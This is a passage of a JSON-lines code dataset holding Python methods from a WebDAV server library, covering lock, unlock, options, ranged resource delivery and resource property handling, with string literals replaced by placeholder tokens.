\"<STR_LIT>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST)<EOL><DEDENT>lock_type = None<EOL>lock_scope = None<EOL>lock_owner = compat.to_bytes(\"<STR_LIT>\")<EOL>lock_depth = environ.setdefault(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>for linode in lockinfoEL:<EOL><INDENT>if linode.tag == \"<STR_LIT>\":<EOL><INDENT>for lsnode in linode:<EOL><INDENT>if lsnode.tag == \"<STR_LIT>\":<EOL><INDENT>lock_scope = \"<STR_LIT>\"<EOL><DEDENT>elif lsnode.tag == \"<STR_LIT>\":<EOL><INDENT>lock_scope = \"<STR_LIT>\"<EOL><DEDENT>break<EOL><DEDENT><DEDENT>elif linode.tag == \"<STR_LIT>\":<EOL><INDENT>for ltnode in linode:<EOL><INDENT>if ltnode.tag == \"<STR_LIT>\":<EOL><INDENT>lock_type = \"<STR_LIT>\"  <EOL><DEDENT>break<EOL><DEDENT><DEDENT>elif linode.tag == \"<STR_LIT>\":<EOL><INDENT>lock_owner = xml_tools.xml_to_bytes(linode, pretty_print=False)<EOL><DEDENT>else:<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\".format(linode.tag))<EOL><DEDENT><DEDENT>if not lock_scope:<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if not lock_type:<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if environ.get(\"<STR_LIT>\"):<EOL><INDENT>pass  <EOL><DEDENT>createdNewResource = False<EOL>if res is None:<EOL><INDENT>parentRes = provider.get_resource_inst(util.get_uri_parent(path), environ)<EOL>if not parentRes or not parentRes.is_collection:<EOL><INDENT>self._fail(HTTP_CONFLICT, \"<STR_LIT>\")<EOL><DEDENT>res = parentRes.create_empty_resource(util.get_uri_name(path))<EOL>createdNewResource = True<EOL><DEDENT>lock = lockMan.acquire(<EOL>res.get_ref_url(),<EOL>lock_type,<EOL>lock_scope,<EOL>lock_depth,<EOL>lock_owner,<EOL>timeoutsecs,<EOL>environ[\"<STR_LIT>\"],<EOL>submittedTokenList,<EOL>)<EOL>propEL = xml_tools.make_prop_el()<EOL>lockdiscoveryEL = res.get_property_value(\"<STR_LIT>\")<EOL>propEL.append(lockdiscoveryEL)<EOL>respcode = \"<STR_LIT>\"<EOL>if createdNewResource:<EOL><INDENT>respcode = \"<STR_LIT>\"<EOL><DEDENT>xml = xml_tools.xml_to_bytes(propEL)<EOL>start_response(<EOL>respcode,<EOL>[<EOL>(\"<STR_LIT:Content-Type>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", str(len(xml))),<EOL>(\"<STR_LIT>\", lock[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", util.get_rfc1123_time()),<EOL>],<EOL>)<EOL>return [xml]<EOL>", "docstring": "@see: http://www.webdav.org/specs/rfc4918.html#METHOD_LOCK", "id": "f8595:c0:m18"}
{"signature": "def do_UNLOCK(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>res = self._davProvider.get_resource_inst(path, environ)<EOL>lockMan = provider.lock_manager<EOL>if lockMan is None:<EOL><INDENT>self._fail(HTTP_NOT_IMPLEMENTED, \"<STR_LIT>\")<EOL><DEDENT>elif util.get_content_length(environ) != <NUM_LIT:0>:<EOL><INDENT>self._fail(<EOL>HTTP_MEDIATYPE_NOT_SUPPORTED,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>elif res is None:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>elif \"<STR_LIT>\" not in environ:<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>self._evaluate_if_headers(res, environ)<EOL>lockToken = environ[\"<STR_LIT>\"].strip(\"<STR_LIT>\")<EOL>refUrl = res.get_ref_url()<EOL>if not lockMan.is_url_locked_by_token(refUrl, lockToken):<EOL><INDENT>self._fail(<EOL>HTTP_CONFLICT,<EOL>\"<STR_LIT>\",<EOL>err_condition=PRECONDITION_CODE_LockTokenMismatch,<EOL>)<EOL><DEDENT>if not lockMan.is_token_locked_by_user(lockToken, environ[\"<STR_LIT>\"]):<EOL><INDENT>self._fail(HTTP_FORBIDDEN, \"<STR_LIT>\")<EOL><DEDENT>lockMan.release(lockToken)<EOL>return util.send_status_response(environ, start_response, HTTP_NO_CONTENT)<EOL>", "docstring": "@see: http://www.webdav.org/specs/rfc4918.html#METHOD_UNLOCK", "id": "f8595:c0:m19"}
{"signature": "def do_OPTIONS(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>res = provider.get_resource_inst(path, environ)<EOL>dav_compliance_level = \"<STR_LIT>\"<EOL>if provider is None or provider.is_readonly() or provider.lock_manager is None:<EOL><INDENT>dav_compliance_level = \"<STR_LIT:1>\"<EOL><DEDENT>headers = [<EOL>(\"<STR_LIT:Content-Type>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT:0>\"),<EOL>(\"<STR_LIT>\", dav_compliance_level),<EOL>(\"<STR_LIT>\", util.get_rfc1123_time()),<EOL>]<EOL>if path == \"<STR_LIT:/>\":<EOL><INDENT>path = \"<STR_LIT:*>\"  <EOL><DEDENT>if path == \"<STR_LIT:*>\":<EOL><INDENT>start_response(\"<STR_LIT>\", headers)<EOL>return [b\"<STR_LIT>\"]<EOL><DEDENT>allow = [\"<STR_LIT>\"]<EOL>if res and res.is_collection:<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT:GET>\", \"<STR_LIT>\"])<EOL>if not provider.is_readonly():<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL>if provider.lock_manager is not None:<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT><DEDENT><DEDENT>elif res:<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT:GET>\", \"<STR_LIT>\"])<EOL>if not provider.is_readonly():<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL>if provider.lock_manager is not None:<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT><DEDENT>if res.support_ranges():<EOL><INDENT>headers.append((\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT><DEDENT>elif provider.is_collection(util.get_uri_parent(path), environ):<EOL><INDENT>if not provider.is_readonly():<EOL><INDENT>allow.extend([\"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>headers.append((\"<STR_LIT>\", \"<STR_LIT:U+0020>\".join(allow)))<EOL>if environ[\"<STR_LIT>\"].get(\"<STR_LIT>\", False):<EOL><INDENT>headers.append((\"<STR_LIT>\", \"<STR_LIT>\"))<EOL><DEDENT>start_response(\"<STR_LIT>\", headers)<EOL>return [b\"<STR_LIT>\"]<EOL>", "docstring": "@see http://www.webdav.org/specs/rfc4918.html#HEADER_DAV", "id": "f8595:c0:m20"}
{"signature": "def _send_resource(self, environ, start_response, is_head_method):", "body": "path = environ[\"<STR_LIT>\"]<EOL>res = self._davProvider.get_resource_inst(path, environ)<EOL>if util.get_content_length(environ) != <NUM_LIT:0>:<EOL><INDENT>self._fail(<EOL>HTTP_MEDIATYPE_NOT_SUPPORTED,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>elif environ.setdefault(\"<STR_LIT>\", \"<STR_LIT:0>\") != \"<STR_LIT:0>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>elif res is None:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>elif res.is_collection:<EOL><INDENT>self._fail(<EOL>HTTP_FORBIDDEN,<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>self._evaluate_if_headers(res, environ)<EOL>filesize = res.get_content_length()<EOL>if filesize is None:<EOL><INDENT>filesize = -<NUM_LIT:1>  <EOL><DEDENT>last_modified = res.get_last_modified()<EOL>if last_modified is None:<EOL><INDENT>last_modified = -<NUM_LIT:1><EOL><DEDENT>entitytag = res.get_etag()<EOL>if entitytag is None:<EOL><INDENT>entitytag = \"<STR_LIT>\"<EOL><DEDENT>doignoreranges = (<EOL>not res.support_content_length()<EOL>or not res.support_ranges()<EOL>or filesize == <NUM_LIT:0><EOL>)<EOL>if (<EOL>\"<STR_LIT>\" in environ<EOL>and \"<STR_LIT>\" in environ<EOL>and not doignoreranges<EOL>):<EOL><INDENT>ifrange = environ[\"<STR_LIT>\"]<EOL>secstime = util.parse_time_string(ifrange)<EOL>if secstime:<EOL><INDENT>if last_modified != secstime:<EOL><INDENT>doignoreranges = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ifrange = ifrange.strip('<STR_LIT>')<EOL>if entitytag is None or ifrange != entitytag:<EOL><INDENT>doignoreranges = True<EOL><DEDENT><DEDENT><DEDENT>ispartialranges = False<EOL>if \"<STR_LIT>\" in environ and not doignoreranges:<EOL><INDENT>ispartialranges = True<EOL>list_ranges, _totallength = util.obtain_content_ranges(<EOL>environ[\"<STR_LIT>\"], filesize<EOL>)<EOL>if len(list_ranges) == <NUM_LIT:0>:<EOL><INDENT>self._fail(HTTP_RANGE_NOT_SATISFIABLE)<EOL><DEDENT>(range_start, range_end, range_length) = list_ranges[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>(range_start, range_end, range_length) = (<NUM_LIT:0>, filesize - <NUM_LIT:1>, filesize)<EOL><DEDENT>mimetype = res.get_content_type()  <EOL>response_headers = []<EOL>if res.support_content_length():<EOL><INDENT>response_headers.append((\"<STR_LIT>\", str(range_length)))<EOL><DEDENT>if res.support_modified():<EOL><INDENT>response_headers.append(<EOL>(\"<STR_LIT>\", util.get_rfc1123_time(last_modified))<EOL>)<EOL><DEDENT>response_headers.append((\"<STR_LIT:Content-Type>\", mimetype))<EOL>response_headers.append((\"<STR_LIT>\", util.get_rfc1123_time()))<EOL>if res.support_etag():<EOL><INDENT>response_headers.append((\"<STR_LIT>\", '<STR_LIT>'.format(entitytag)))<EOL><DEDENT>if \"<STR_LIT>\" in environ[\"<STR_LIT>\"]:<EOL><INDENT>customHeaders = environ[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>for header, value in customHeaders:<EOL><INDENT>response_headers.append((header, value))<EOL><DEDENT><DEDENT>res.finalize_headers(environ, response_headers)<EOL>if ispartialranges:<EOL><INDENT>response_headers.append(<EOL>(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\".format(range_start, range_end, filesize),<EOL>)<EOL>)<EOL>start_response(\"<STR_LIT>\", response_headers)<EOL><DEDENT>else:<EOL><INDENT>start_response(\"<STR_LIT>\", response_headers)<EOL><DEDENT>if is_head_method:<EOL><INDENT>yield b\"<STR_LIT>\"<EOL>return<EOL><DEDENT>fileobj = res.get_content()<EOL>if not doignoreranges:<EOL><INDENT>fileobj.seek(range_start)<EOL><DEDENT>contentlengthremaining = range_length<EOL>while <NUM_LIT:1>:<EOL><INDENT>if contentlengthremaining < <NUM_LIT:0> or contentlengthremaining > self.block_size:<EOL><INDENT>readbuffer = fileobj.read(self.block_size)<EOL><DEDENT>else:<EOL><INDENT>readbuffer = fileobj.read(contentlengthremaining)<EOL><DEDENT>assert compat.is_bytes(readbuffer)<EOL>yield readbuffer<EOL>contentlengthremaining -= len(readbuffer)<EOL>if len(readbuffer) == <NUM_LIT:0> or contentlengthremaining == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>fileobj.close()<EOL>return<EOL>", "docstring": "If-Range\n    If the entity is unchanged, send me the part(s) that I am missing;\n    otherwise, send me the entire new entity\n    If-Range: \"737060cd8c284d8af7ad3082f209582d\"\n\n@see: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.27", "id": "f8595:c0:m23"}
{"signature": "def get_content_length(self):", "body": "if self.is_collection:<EOL><INDENT>return None<EOL><DEDENT>raise NotImplementedError<EOL>", "docstring": "Contains the Content-Length header returned by a GET without accept\n        headers.\n\n        The getcontentlength property MUST be defined on any DAV compliant\n        resource that returns the Content-Length header in response to a GET.\n\n        This method MUST be implemented by non-collections only.", "id": "f8596:c0:m2"}
{"signature": "def get_content_type(self):", "body": "if self.is_collection:<EOL><INDENT>return None<EOL><DEDENT>raise NotImplementedError<EOL>", "docstring": "Contains the Content-Type header returned by a GET without accept\n        headers.\n\n        This getcontenttype property MUST be defined on any DAV compliant\n        resource that returns the Content-Type header in response to a GET.\n        See http://www.webdav.org/specs/rfc4918.html#PROPERTY_getcontenttype\n\n        This method MUST be implemented by non-collections only.", "id": "f8596:c0:m3"}
{"signature": "def get_creation_date(self):", "body": "return None<EOL>", "docstring": "Records the time and date the resource was created.\n\n        The creationdate property should be defined on all DAV compliant\n        resources. If present, it contains a timestamp of the moment when the\n        resource was created (i.e., the moment it had non-null state).\n\n        This method SHOULD be implemented, especially by non-collections.", "id": "f8596:c0:m4"}
{"signature": "def get_directory_info(self):", "body": "assert self.is_collection<EOL>return None<EOL>", "docstring": "Return a list of dictionaries with information for directory\n        rendering.\n\n        This default implementation return None, so the dir browser will\n        traverse all members.\n\n        This method COULD be implemented for collection resources.", "id": "f8596:c0:m5"}
{"signature": "def get_display_name(self):", "body": "return self.name<EOL>", "docstring": "Provides a name for the resource that is suitable for presentation to\n        a user.\n\n        The displayname property should be defined on all DAV compliant\n        resources. If present, the property contains a description of the\n        resource that is suitable for presentation to a user.\n\n        This default implementation returns `name`, which is the last path\n        segment.", "id": "f8596:c0:m6"}
{"signature": "def get_display_info(self):", "body": "if self.is_collection:<EOL><INDENT>return {\"<STR_LIT:type>\": \"<STR_LIT>\"}<EOL><DEDENT>elif os.extsep in self.name:<EOL><INDENT>ext = self.name.split(os.extsep)[-<NUM_LIT:1>].upper()<EOL>if len(ext) < <NUM_LIT:5>:<EOL><INDENT>return {\"<STR_LIT:type>\": \"<STR_LIT>\".format(ext)}<EOL><DEDENT><DEDENT>return {\"<STR_LIT:type>\": \"<STR_LIT>\"}<EOL>", "docstring": "Return additional info dictionary for displaying (optional).\n\n        This information is not part of the DAV specification, but meant for use\n        by the dir browser middleware.\n\n        This default implementation returns ``{'type': '...'}``", "id": "f8596:c0:m7"}
{"signature": "def get_etag(self):", "body": "return None<EOL>", "docstring": "See http://www.webdav.org/specs/rfc4918.html#PROPERTY_getetag\n\nThis method SHOULD be implemented, especially by non-collections.", "id": "f8596:c0:m8"}
{"signature": "def get_last_modified(self):", "body": "return None<EOL>", "docstring": "Contains the Last-Modified header returned by a GET method without\n        accept headers.\n\n        Return None, if this live property is not supported.\n\n        Note that the last-modified date on a resource may reflect changes in\n        any part of the state of the resource, not necessarily just a change to\n        the response to the GET method. For example, a change in a property may\n        cause the last-modified date to change. The getlastmodified property\n        MUST be defined on any DAV compliant resource that returns the\n        Last-Modified header in response to a GET.\n\n        This method SHOULD be implemented, especially by non-collections.", "id": "f8596:c0:m9"}
{"signature": "def set_last_modified(self, dest_path, time_stamp, dry_run):", "body": "raise NotImplementedError<EOL>", "docstring": "Set last modified time for destPath to timeStamp on epoch-format", "id": "f8596:c0:m10"}
{"signature": "def support_ranges(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return True, if this non-resource supports Range on GET requests.\n\n        This method MUST be implemented by non-collections only.", "id": "f8596:c0:m11"}
{"signature": "def support_content_length(self):", "body": "return self.get_content_length() is not None<EOL>", "docstring": "Return True, if this resource supports Content-Length.\n\n        This default implementation checks `self.get_content_length() is None`.", "id": "f8596:c0:m12"}
{"signature": "def support_etag(self):", "body": "return self.get_etag() is not None<EOL>", "docstring": "Return True, if this resource supports ETags.\n\n        This default implementation checks `self.get_etag() is None`.", "id": "f8596:c0:m13"}
{"signature": "def support_modified(self):", "body": "return self.get_last_modified() is not None<EOL>", "docstring": "Return True, if this resource supports last modified dates.\n\n        This default implementation checks `self.get_last_modified() is None`.", "id": "f8596:c0:m14"}
{"signature": "def get_preferred_path(self):", "body": "if self.path in (\"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return \"<STR_LIT:/>\"<EOL><DEDENT>if self.is_collection and not self.path.endswith(\"<STR_LIT:/>\"):<EOL><INDENT>return self.path + \"<STR_LIT:/>\"<EOL><DEDENT>return self.path<EOL>", "docstring": "Return preferred mapping for a resource mapping.\n\n        Different URLs may map to the same resource, e.g.:\n            '/a/b' == '/A/b' == '/a/b/'\n        get_preferred_path() returns the same value for all these variants, e.g.:\n            '/a/b/'   (assuming resource names considered case insensitive)\n\n        @param path: a UTF-8 encoded, unquoted byte string.\n        @return: a UTF-8 encoded, unquoted byte string.", "id": "f8596:c0:m15"}
{"signature": "def get_ref_url(self):", "body": "return compat.quote(self.provider.share_path + self.get_preferred_path())<EOL>", "docstring": "Return the quoted, absolute, unique URL of a resource, relative to appRoot.\n\n        Byte string, UTF-8 encoded, quoted.\n        Starts with a '/'. Collections also have a trailing '/'.\n\n        This is basically the same as get_preferred_path, but deals with\n        'virtual locations' as well.\n\n        e.g. '/a/b' == '/A/b' == '/bykey/123' == '/byguid/abc532'\n\n        get_ref_url() returns the same value for all these URLs, so it can be\n        used as a key for locking and persistence storage.\n\n        DAV providers that allow virtual-mappings must override this method.\n\n        See also comments in DEVELOPERS.txt glossary.", "id": "f8596:c0:m16"}
{"signature": "def get_href(self):", "body": "<EOL>safe = \"<STR_LIT:/>\" + \"<STR_LIT>\" + \"<STR_LIT>\"<EOL>return compat.quote(<EOL>self.provider.mount_path<EOL>+ self.provider.share_path<EOL>+ self.get_preferred_path(),<EOL>safe=safe,<EOL>)<EOL>", "docstring": "Convert path to a URL that can be passed to XML responses.\n\n        Byte string, UTF-8 encoded, quoted.\n\n        See http://www.webdav.org/specs/rfc4918.html#rfc.section.8.3\n        We are using the path-absolute option. i.e. starting with '/'.\n        URI ; See section 3.2.1 of [RFC2068]", "id": "f8596:c0:m17"}
{"signature": "def get_member_list(self):", "body": "if not self.is_collection:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>memberList = []<EOL>for name in self.get_member_names():<EOL><INDENT>member = self.get_member(name)<EOL>assert member is not None<EOL>memberList.append(member)<EOL><DEDENT>return memberList<EOL>", "docstring": "Return a list of direct members (_DAVResource or derived objects).\n\n        This default implementation calls self.get_member_names() and\n        self.get_member() for each of them.\n        A provider COULD overwrite this for performance reasons.", "id": "f8596:c0:m18"}
{"signature": "def get_member_names(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return list of (direct) collection member names (UTF-8 byte strings).\n\n        Every provider MUST provide this method for collection resources.", "id": "f8596:c0:m19"}
{"signature": "def get_descendants(<EOL>self,<EOL>collections=True,<EOL>resources=True,<EOL>depth_first=False,<EOL>depth=\"<STR_LIT>\",<EOL>add_self=False,<EOL>):", "body": "assert depth in (\"<STR_LIT:0>\", \"<STR_LIT:1>\", \"<STR_LIT>\")<EOL>res = []<EOL>if add_self and not depth_first:<EOL><INDENT>res.append(self)<EOL><DEDENT>if depth != \"<STR_LIT:0>\" and self.is_collection:<EOL><INDENT>for child in self.get_member_list():<EOL><INDENT>if not child:<EOL><INDENT>self.get_member_list()<EOL><DEDENT>want = (collections and child.is_collection) or (<EOL>resources and not child.is_collection<EOL>)<EOL>if want and not depth_first:<EOL><INDENT>res.append(child)<EOL><DEDENT>if child.is_collection and depth == \"<STR_LIT>\":<EOL><INDENT>res.extend(<EOL>child.get_descendants(<EOL>collections, resources, depth_first, depth, add_self=False<EOL>)<EOL>)<EOL><DEDENT>if want and depth_first:<EOL><INDENT>res.append(child)<EOL><DEDENT><DEDENT><DEDENT>if add_self and depth_first:<EOL><INDENT>res.append(self)<EOL><DEDENT>return res<EOL>", "docstring": "Return a list _DAVResource objects of a collection (children,\n        grand-children, ...).\n\n        This default implementation calls self.get_member_list() recursively.\n\n        This function may also be called for non-collections (with add_self=True).\n\n        :Parameters:\n            depth_first : bool\n                use <False>, to list containers before content.\n                (e.g. when moving / copying branches.)\n                Use <True>, to list content before containers.\n                (e.g. when deleting branches.)\n            depth : string\n                '0' | '1' | 'infinity'", "id": "f8596:c0:m20"}
{"signature": "def get_property_names(self, is_allprop):", "body": "<EOL>propNameList = []<EOL>propNameList.append(\"<STR_LIT>\")<EOL>if self.get_creation_date() is not None:<EOL><INDENT>propNameList.append(\"<STR_LIT>\")<EOL><DEDENT>if self.get_content_length() is not None:<EOL><INDENT>assert not self.is_collection<EOL>propNameList.append(\"<STR_LIT>\")<EOL><DEDENT>if self.get_content_type() is not None:<EOL><INDENT>propNameList.append(\"<STR_LIT>\")<EOL><DEDENT>if self.get_last_modified() is not None:<EOL><INDENT>propNameList.append(\"<STR_LIT>\")<EOL><DEDENT>if self.get_display_name() is not None:<EOL><INDENT>propNameList.append(\"<STR_LIT>\")<EOL><DEDENT>if self.get_etag() is not None:<EOL><INDENT>propNameList.append(\"<STR_LIT>\")<EOL><DEDENT>if self.provider.lock_manager and not self.prevent_locking():<EOL><INDENT>propNameList.extend(_lockPropertyNames)<EOL><DEDENT>if self.provider.prop_manager:<EOL><INDENT>refUrl = self.get_ref_url()<EOL>propNameList.extend(<EOL>self.provider.prop_manager.get_properties(refUrl, self.environ)<EOL>)<EOL><DEDENT>return propNameList<EOL>", "docstring": "Return list of supported property names in Clark Notation.\n\n        Note that 'allprop', despite its name, which remains for\n        backward-compatibility, does not return every property, but only dead\n        properties and the live properties defined in RFC4918.\n\n        This default implementation returns a combination of:\n\n        - Supported standard live properties in the {DAV:} namespace, if the\n          related getter method returns not None.\n        - {DAV:}lockdiscovery and {DAV:}supportedlock, if a lock manager is\n          present\n        - If a property manager is present, then a list of dead properties is\n          appended\n\n        A resource provider may override this method, to add a list of\n        supported custom live property names.", "id": "f8596:c0:m21"}
{"signature": "def get_properties(self, mode, name_list=None):", "body": "assert mode in (\"<STR_LIT>\", \"<STR_LIT:name>\", \"<STR_LIT>\")<EOL>if mode in (\"<STR_LIT>\", \"<STR_LIT:name>\"):<EOL><INDENT>assert name_list is None<EOL>name_list = self.get_property_names(mode == \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>assert name_list is not None<EOL><DEDENT>propList = []<EOL>namesOnly = mode == \"<STR_LIT:name>\"<EOL>for name in name_list:<EOL><INDENT>try:<EOL><INDENT>if namesOnly:<EOL><INDENT>propList.append((name, None))<EOL><DEDENT>else:<EOL><INDENT>value = self.get_property_value(name)<EOL>propList.append((name, value))<EOL><DEDENT><DEDENT>except DAVError as e:<EOL><INDENT>propList.append((name, e))<EOL><DEDENT>except Exception as e:<EOL><INDENT>propList.append((name, as_DAVError(e)))<EOL>if self.provider.verbose >= <NUM_LIT:2>:<EOL><INDENT>traceback.print_exc(<NUM_LIT:10>, sys.stdout)<EOL><DEDENT><DEDENT><DEDENT>return propList<EOL>", "docstring": "Return properties as list of 2-tuples (name, value).\n\n        If mode is 'name', then None is returned for the value.\n\n        name\n            the property name in Clark notation.\n        value\n            may have different types, depending on the status:\n            - string or unicode: for standard property values.\n            - etree.Element: for complex values.\n            - DAVError in case of errors.\n            - None: if mode == 'name'.\n\n        @param mode: \"allprop\", \"name\", or \"named\"\n        @param name_list: list of property names in Clark Notation (required for mode 'named')\n\n        This default implementation basically calls self.get_property_names() to\n        get the list of names, then call self.get_property_value on each of them.", "id": "f8596:c0:m22"}
{"signature": "def get_property_value(self, name):", "body": "refUrl = self.get_ref_url()<EOL>lm = self.provider.lock_manager<EOL>if lm and name == \"<STR_LIT>\":<EOL><INDENT>activelocklist = lm.get_url_lock_list(refUrl)<EOL>lockdiscoveryEL = etree.Element(name)<EOL>for lock in activelocklist:<EOL><INDENT>activelockEL = etree.SubElement(lockdiscoveryEL, \"<STR_LIT>\")<EOL>locktypeEL = etree.SubElement(activelockEL, \"<STR_LIT>\")<EOL>etree.SubElement(locktypeEL, \"<STR_LIT>\".format(\"<STR_LIT>\", lock[\"<STR_LIT:type>\"]))<EOL>lockscopeEL = etree.SubElement(activelockEL, \"<STR_LIT>\")<EOL>etree.SubElement(lockscopeEL, \"<STR_LIT>\".format(\"<STR_LIT>\", lock[\"<STR_LIT>\"]))<EOL>etree.SubElement(activelockEL, \"<STR_LIT>\").text = lock[\"<STR_LIT>\"]<EOL>if lock[\"<STR_LIT>\"]:<EOL><INDENT>ownerEL = xml_tools.string_to_xml(lock[\"<STR_LIT>\"])<EOL>activelockEL.append(ownerEL)<EOL><DEDENT>timeout = lock[\"<STR_LIT>\"]<EOL>if timeout < <NUM_LIT:0>:<EOL><INDENT>timeout = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>expire = lock[\"<STR_LIT>\"]<EOL>timeout = \"<STR_LIT>\" + str(int(expire - time.time()))<EOL><DEDENT>etree.SubElement(activelockEL, \"<STR_LIT>\").text = timeout<EOL>locktokenEL = etree.SubElement(activelockEL, \"<STR_LIT>\")<EOL>etree.SubElement(locktokenEL, \"<STR_LIT>\").text = lock[\"<STR_LIT>\"]<EOL>lockPath = self.provider.ref_url_to_path(lock[\"<STR_LIT:root>\"])<EOL>lockRes = self.provider.get_resource_inst(lockPath, self.environ)<EOL>lockHref = lockRes.get_href()<EOL>lockrootEL = etree.SubElement(activelockEL, \"<STR_LIT>\")<EOL>etree.SubElement(lockrootEL, \"<STR_LIT>\").text = lockHref<EOL><DEDENT>return lockdiscoveryEL<EOL><DEDENT>elif lm and name == \"<STR_LIT>\":<EOL><INDENT>supportedlockEL = etree.Element(name)<EOL>lockentryEL = etree.SubElement(supportedlockEL, \"<STR_LIT>\")<EOL>lockscopeEL = etree.SubElement(lockentryEL, \"<STR_LIT>\")<EOL>etree.SubElement(lockscopeEL, \"<STR_LIT>\")<EOL>locktypeEL = etree.SubElement(lockentryEL, \"<STR_LIT>\")<EOL>etree.SubElement(locktypeEL, \"<STR_LIT>\")<EOL>lockentryEL = etree.SubElement(supportedlockEL, \"<STR_LIT>\")<EOL>lockscopeEL = etree.SubElement(lockentryEL, \"<STR_LIT>\")<EOL>etree.SubElement(lockscopeEL, \"<STR_LIT>\")<EOL>locktypeEL = etree.SubElement(lockentryEL, \"<STR_LIT>\")<EOL>etree.SubElement(locktypeEL, \"<STR_LIT>\")<EOL>return supportedlockEL<EOL><DEDENT>elif name.startswith(\"<STR_LIT>\"):<EOL><INDENT>if name == \"<STR_LIT>\" and self.get_creation_date() is not None:<EOL><INDENT>return util.get_rfc3339_time(self.get_creation_date())<EOL><DEDENT>elif name == \"<STR_LIT>\" and self.get_content_type() is not None:<EOL><INDENT>return self.get_content_type()<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>if self.is_collection:<EOL><INDENT>resourcetypeEL = etree.Element(name)<EOL>etree.SubElement(resourcetypeEL, \"<STR_LIT>\")<EOL>return resourcetypeEL<EOL><DEDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif (<EOL>name == \"<STR_LIT>\" and self.get_last_modified() is not None<EOL>):<EOL><INDENT>return util.get_rfc1123_time(self.get_last_modified())<EOL><DEDENT>elif (<EOL>name == \"<STR_LIT>\"<EOL>and self.get_content_length() is not None<EOL>):<EOL><INDENT>return str(self.get_content_length())<EOL><DEDENT>elif name == \"<STR_LIT>\" and self.get_etag() is not None:<EOL><INDENT>return self.get_etag()<EOL><DEDENT>elif name == \"<STR_LIT>\" and self.get_display_name() is not None:<EOL><INDENT>return self.get_display_name()<EOL><DEDENT>raise DAVError(HTTP_NOT_FOUND)<EOL><DEDENT>pm = self.provider.prop_manager<EOL>if pm:<EOL><INDENT>value = pm.get_property(refUrl, name, self.environ)<EOL>if value is not None:<EOL><INDENT>return xml_tools.string_to_xml(value)<EOL><DEDENT><DEDENT>raise DAVError(HTTP_NOT_FOUND)<EOL>", "docstring": "Return the value of a property.\n\n        name:\n            the property name in Clark notation.\n        return value:\n            may have different types, depending on the status:\n\n            - string or unicode: for standard property values.\n            - lxml.etree.Element: for complex values.\n\n            If the property is not available, a DAVError is raised.\n\n        This default implementation handles ``{DAV:}lockdiscovery`` and\n        ``{DAV:}supportedlock`` using the associated lock manager.\n\n        All other *live* properties (i.e. name starts with ``{DAV:}``) are\n        delegated to the self.xxx() getters.\n\n        Finally, other properties are considered *dead*, and are handled  by\n        the associated property manager.", "id": "f8596:c0:m23"}
